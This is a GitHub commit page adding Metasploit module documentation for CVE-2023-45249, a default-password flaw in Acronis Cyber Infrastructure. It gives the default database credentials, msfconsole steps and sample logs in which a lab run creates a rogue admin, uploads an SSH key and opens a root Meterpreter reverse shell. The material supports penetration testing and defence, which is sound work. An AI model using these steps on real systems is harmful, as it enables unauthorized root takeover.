Skip to content

Commit 86c8879

Browse files
h00die-gr3yh00die-gr3y
committed
Added documentation
1 parent 455c5b2 commit 86c8879

File tree

1 file changed

+189
-0
lines changed

1 file changed

+189
-0
lines changed

‎documentation/modules/exploit/linux/http/acronis_cyber_infra_cve_2023_45249.md

Lines changed: 189 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,189 @@
1+
## Vulnerable Application
2+
Acronis Cyber Infrastructure (ACI) is an IT infrastructure solution that provides storage, compute, and network resources.
3+
Businesses and Service Providers are using it for data storage, backup storage, creating and managing virtual machines and
4+
software-defined networks,running cloud-native applications in production environments.
5+
This module exploits a default password vulnerability in ACI which allow an attacker to access the ACI PostgreSQL database
6+
and gain administrative access to the ACI Web Portal.
7+
This opens the door for the attacker to upload ssh keys that enables root access to the appliance/server.
8+
9+
This attack can be remotely executed over the WAN as long as the PostgreSQL and SSH services are exposed to the outside world.
10+
ACI versions `5.0` before build `5.0.1-61`, `5.1` before build `5.1.1-71`, `5.2` before build `5.2.1-69`, `5.3` before build `5.3.1-53`,
11+
and `5.4` before build `5.4.4-132` are vulnerable.
12+
13+
The following release was tested.
14+
15+
**Acronis Cyber Infrastructure ISO appliances:**
16+
* Acronis Cyber Infrastructure 4.7
17+
18+
## Installation steps to install the Acronis Cyber Infrastructure (ACI) appliance
19+
* Install your favorite virtualization engine (VMware or VirtualBox) on your preferred platform.
20+
* Here are the installation instructions for [VirtualBox on MacOS](https://tecadmin.net/how-to-install-virtualbox-on-macos/).
21+
* Download [ACI iso image](https://care.acronis.com/s/article/63431-Acronis-Cyber-Infrastructure-how-to-download-ISO?language=en_US).
22+
* Install the iso image in your virtualization engine.
23+
* When installed, configure the VM appliance to your needs using the menu options.
24+
* Boot up the VM and should be able to access the Acronis Cyber Infrastructure (ACI) appliance either thru the console, `ssh` on port `22`
25+
* or via the `webui` via `http://your_aci_ip:8888`.
26+
27+
You are now ready to test the module.
28+
29+
## Verification Steps
30+
- [ ] Start `msfconsole`
31+
- [ ] `exploit/linux/http/acronis_cyber_infra_cve_2023_45249`
32+
- [ ] `set rhosts <ip-target>`
33+
- [ ] `set rport <port>`
34+
- [ ] `set lhost <attacker-ip>`
35+
- [ ] `set target <0=Unix/Linux Command, 1=Interactive SSH>`
36+
- [ ] `exploit`
37+
- [ ] you should get a `reverse shell` or `Meterpreter` session depending on the `payload` and `target` settings
38+
39+
## Options
40+
41+
### USERNAME
42+
This option is required and is the username (default: vstoradmin) to authenticate with the PostgreSQL database.
43+
44+
### PASSWORD
45+
This option is required and is the password (default: vstoradmin) in plain text to authenticate with the PostgreSQL database.
46+
47+
### DATABASE
48+
This option is required and is the database (default: keystone) which holds the ACI user and password configurations.
49+
50+
### DBPORT
51+
This option is required and is PostgreSQL database port (default: 5432) to connect to the database.
52+
53+
### SSHPORT
54+
This option is required and is the SSH port (default: 22) to establish a SSH session.
55+
56+
### STORE_CRED
57+
This option is optional (default: true) and stores the new created admin credentials in the msf database.
58+
59+
## Scenarios
60+
```msf
61+
msf6 exploit(linux/http/acronis_cyber_infra_cve_2023_45249) > info
62+
63+
Name: Acronis Cyber Infrastructure default password remote code execution
64+
Module: exploit/linux/http/acronis_cyber_infra_cve_2023_45249
65+
Platform: Unix, Linux
66+
Arch: cmd
67+
Privileged: Yes
68+
License: Metasploit Framework License (BSD)
69+
Rank: Excellent
70+
Disclosed: 2024-07-24
71+
72+
Provided by:
73+
h00die-gr3y <[email protected]>
74+
Acronis International GmbH
75+
76+
Module side effects:
77+
artifacts-on-disk
78+
ioc-in-logs
79+
80+
Module stability:
81+
crash-safe
82+
83+
Module reliability:
84+
repeatable-session
85+
86+
Available targets:
87+
Id Name
88+
-- ----
89+
=> 0 Unix/Linux Command
90+
1 Interactive SSH
91+
92+
Check supported:
93+
Yes
94+
95+
Basic options:
96+
Name Current Setting Required Description
97+
---- --------------- -------- -----------
98+
DATABASE keystone yes The database to authenticate against
99+
DBPORT 5432 yes PostgreSQL DB port
100+
PASSWORD vstoradmin no The password for the specified username. Leave blank for a random password.
101+
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
102+
RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basi
103+
cs/using-metasploit.html
104+
RPORT 8888 yes The target port (TCP)
105+
SSHPORT 22 yes SSH port
106+
SSL true no Negotiate SSL/TLS for outgoing connections
107+
STORE_CRED true no Store user admin credentials into the database.
108+
TARGETURI / yes Path to the Acronis Cyber Infra application
109+
USERNAME vstoradmin yes The username to authenticate as
110+
VHOST no HTTP server virtual host
111+
112+
Payload information:
113+
114+
Description:
115+
Acronis Cyber Infrastructure (ACI) is an IT infrastructure solution that provides storage,
116+
compute, and network resources. Businesses and Service Providers are using it for data storage,
117+
backup storage, creating and managing virtual machines and software-defined networks, running
118+
cloud-native applications in production environments.
119+
This module exploits a default password vulnerability in ACI which allow an attacker to access
120+
the ACI PostgreSQL database and gain administrative access to the ACI Web Portal.
121+
This opens the door for the attacker to upload ssh keys that enables root acces
122+
to the appliance/server. This attack can be remotely executed over the WAN as long as the
123+
PostgreSQL and SSH services are exposed to the outside world.
124+
ACI versions 5.0 before build 5.0.1-61, 5.1 before build 5.1.1-71, 5.2 before build 5.2.1-69,
125+
5.3 before build 5.3.1-53, and 5.4 before build 5.4.4-132 are vulnerable.
126+
127+
References:
128+
https://nvd.nist.gov/vuln/detail/CVE-2023-45249
129+
https://security-advisory.acronis.com/advisories/SEC-6452
130+
https://attackerkb.com/topics/T2b62daDsL/cve-2023-45249
131+
132+
View the full module info with the info -d command
133+
```
134+
## Scenarios
135+
### Acronis Cyber Infrastructure 4.7 appliance Unix/Linux command
136+
```msf
137+
msf6 exploit(linux/http/acronis_cyber_infra_cve_2023_45249) > set rhosts 192.168.201.5
138+
rhosts => 192.168.201.5
139+
msf6 exploit(linux/http/acronis_cyber_infra_cve_2023_45249) > check
140+
[*] 192.168.201.5:8888 - The target appears to be vulnerable. Version 4.7.1.pre.53
141+
msf6 exploit(linux/http/acronis_cyber_infra_cve_2023_45249) > exploit
142+
143+
[*] Started reverse TCP handler on 192.168.201.8:4444
144+
[*] Running automatic check ("set AutoCheck false" to disable)
145+
[+] The target appears to be vulnerable. Version 4.7.1.pre.53
146+
[*] Creating admin user qagkx with password gXv0E2DUU9 for access at the Acronis Admin Portal.
147+
[*] Saving admin credentials at the msf database.
148+
[*] Creating SSH private and public key.
149+
[*] Uploading SSH public key at the Acronis Admin Portal.
150+
[*] Authenticating with SSH private key.
151+
[*] Executing Unix/Linux Command for cmd/linux/http/x64/meterpreter/reverse_tcp
152+
[*] Sending stage (3045380 bytes) to 192.168.201.5
153+
[*] Meterpreter session 2 opened (192.168.201.8:4444 -> 192.168.201.5:51488) at 2024-09-15 19:45:46 +0000
154+
155+
meterpreter > sysinfo
156+
Computer : aci-471-53.vstoragedomain
157+
OS : Red Hat 4.7 (Linux 3.10.0-1160.41.1.vz7.183.5)
158+
Architecture : x64
159+
BuildTuple : x86_64-linux-musl
160+
Meterpreter : x64/linux
161+
meterpreter > getuid
162+
Server username: root
163+
```
164+
### Acronis Cyber Infrastructure 4.7 appliance Interactive SSH
165+
```msf
166+
msf6 exploit(linux/http/acronis_cyber_infra_cve_2023_45249) > set target 1
167+
target => 1
168+
msf6 exploit(linux/http/acronis_cyber_infra_cve_2023_45249) > exploit
169+
170+
[*] Running automatic check ("set AutoCheck false" to disable)
171+
[+] The target appears to be vulnerable. Version 4.7.1.pre.53
172+
[*] Creating admin user exvk1 with password NcwVNFNL3t for access at the Acronis Admin Portal.
173+
[*] Saving admin credentials at the msf database.
174+
[*] Creating SSH private and public key.
175+
[*] Uploading SSH public key at the Acronis Admin Portal.
176+
[*] Authenticating with SSH private key.
177+
[*] Executing Interactive SSH for generic/ssh/interact
178+
[*] SSH session 1 opened (192.168.201.8:36279 -> 192.168.201.5:22) at 2024-09-16 17:56:56 +0000
179+
180+
pwd
181+
/root
182+
id
183+
uid=0(root) gid=0(root) groups=0(root)
184+
uname -a
185+
Linux aci-471-53.vstoragedomain 3.10.0-1160.41.1.vz7.183.5 #1 SMP Thu Sep 23 18:26:47 MSK 2021 x86_64 x86_64 x86_64 GNU/Linux
186+
```
187+
188+
## Limitations
189+
No limitations.

0 commit comments

Comments
 (0)